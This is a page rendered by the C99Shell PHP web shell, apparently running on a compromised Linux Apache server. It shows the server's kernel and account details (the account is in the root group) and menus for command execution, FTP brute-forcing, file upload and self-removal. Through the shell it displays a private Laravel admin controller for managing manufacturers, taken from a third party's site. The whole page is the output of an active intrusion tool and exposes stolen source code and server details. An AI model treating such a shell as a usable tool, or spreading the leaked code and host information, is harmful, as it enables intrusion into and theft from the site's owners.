!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ManufacturerController.php (8.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Manufacturer;
use 
App\Models\Setting;
use 
App\Traits\CustomFileTrait;
use 
GuzzleHttp\Client;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Storage;

class 
ManufacturerController extends Controller
{
    use 
CustomFileTrait;

    protected 
$path '';

    public function 
__construct()
    {
        
$this->path public_path(config('constant.file_path.manufacturer'));
    }

    public function 
index(Request $request)
    {
//        dd($request->all());
        
$name $request->get('name''');
        
$records Manufacturer::select('id','name','image','sort_order''status')
            ->
when($name != '', function ($q) use ($name) {
                    
$q->where('name''like'"%$name%");
            })->
orderBy('created_at','DESC')->paginate($this->defaultPaginate);
        return 
view('admin.manufacturer.index', ['records' => $records]);
    }

    public function 
add()
    {
        return 
view('admin.manufacturer.add', []);
    }

    public function 
store(Request $request)
    {
        
DB::beginTransaction();

        try {
            
$this->validate($request, [
                
'name' => ['required''string''max:255'],
                
'sort_order' => ['required'],
                
'image' => ['required''mimes:jpeg,jpg,png'],
            ]);

            
$this->createDirectory($this->path);
            
$data = new Manufacturer($request->only('name''sort_order''status'));
            
$data->image $this->saveCustomFileAndGetImageName(request()->file('image'), $this->path);
            
$data->save();

            
$brands Manufacturer::select('id''name''status''sort_order''image')
                ->
where('status''1')
                ->
orderBy('sort_order''ASC')
                ->
take(8)
                ->
get();

            
$val json_encode($brands);
            
$filename base_path() . '/storage/app/brands.json';
            
$fp fopen($filename"w");
            
fwrite($fp$val);
            
fclose($fp);


            
//Section Inventory API
            
$api_url Setting::where('key''api_url')->first();
            
$api_token Setting::where('key''api_token')->first();
            try {
                if (
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();


                    
$response $client->post($api_url->value '/api/brand/store/', [

                        
'headers' => [
                            
'Accept' => 'application/json',
                            
'Authorization' => 'Bearer ' $api_token->value,
                        ],
                        
'form_params' => [
                            
'name' => $request->name,
                        ]
                    ]);
                    
$response $response->getBody()->getContents();
                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Brand');
                    }
                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());
            }
            
//END

            
DB::commit();
            return 
redirect(route('manufacturer'))->with('success''Manufacturer Created Successfully');
        }catch(
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('manufacturer'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }

    public function 
edit($id)
    {

        return 
view('admin.manufacturer.edit', [
            
'data' => Manufacturer::findOrFail($id),
        ]);
    }

    public function 
update(Request $request$id)
    {

        
$this->validate($request, [
            
'name' => ['required'],
        ]);

        
DB::beginTransaction();

        try {
            
//Update Manufacturer
            
$data Manufacturer::findOrFail($id);
            if (
$request->hasFile('image')) {
                
$currentCategoryImage $this->path '/' $data->image;
                if (
File::exists($currentCategoryImage)) {
                    
unlink($currentCategoryImage);
                }
                
$data->image $this->saveCustomFileAndGetImageName(request()->file('image'), $this->path);
            }

            
$data->fill($request->only('name''sort_order''status'))->save();

            
$brands Manufacturer::select('id''name''status''sort_order''image')
                ->
where('status''1')
                ->
orderBy('sort_order''ASC')
                ->
take(8)
                ->
get();

            
$val json_encode($brands);
            
$filename base_path() . '/storage/app/brands.json';
            
$fp fopen($filename"w");
            
fwrite($fp$val);
            
fclose($fp);

            
//Section Inventory API
            
$api_url Setting::where('key''api_url')->first();
            
$api_token Setting::where('key''api_token')->first();
            try {
                if (
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();

                    
$response $client->post($api_url->value '/api/brand/update/' $data->id, [
                        
'headers' => [
                            
'Accept' => 'application/json',
                            
'Authorization' => 'Bearer ' $api_token->value,
                        ],
                        
'form_params' => [
                            
'name' => $request->name,
                        ]
                    ]);
                    
$response $response->getBody()->getContents();
                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Brand');
                    }
                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());

            }
            
//END

            
DB::commit();
            return 
redirect(route('manufacturer'))->with('success''Manufacturer Updated Successfully');
        }catch(
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('manufacturer'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }

    public function 
delete($id)
    {
        
DB::beginTransaction();

        try{
            if (!
$data Manufacturer::whereId($id)->first())
                return 
redirect()->back()->with('error''Something went wrong');

            
$this->removeOldImage($data->image,$this->path);
            
$data->delete();


            
//Section Inventory API
            
$api_url=Setting::where('key''api_url')->first();
            
$api_token=Setting::where('key''api_token')->first();
            try {
                if (
$api_url && isset($api_url->value) && $api_token && isset($api_token->value)) {
                    
$client = new Client();

                    
$response $client->get($api_url->value '/api/brand/delete/' $data->id, [
                        
'headers' => [
                            
'Accept' => 'application/json',
                            
'Authorization' => 'Bearer ' $api_token->value,
                        ],
                    ]);
                    
$response $response->getBody()->getContents();
                    if (isset(
json_decode($response)->status) && json_decode($response)->status != 'success') {
                        throw new 
\Exception('Invalid Brand');
                    }
                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());
            }
            
//END

            
DB::commit();
            return 
redirect(route('manufacturer'))->with('success''Manufacturer  Deleted Successfully');
        }catch(
\Exception $ex){
            
DB::rollBack();
            return 
redirect(route('manufacturer'))->withErrors(['errors'=>$ex->getMessage()]);
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--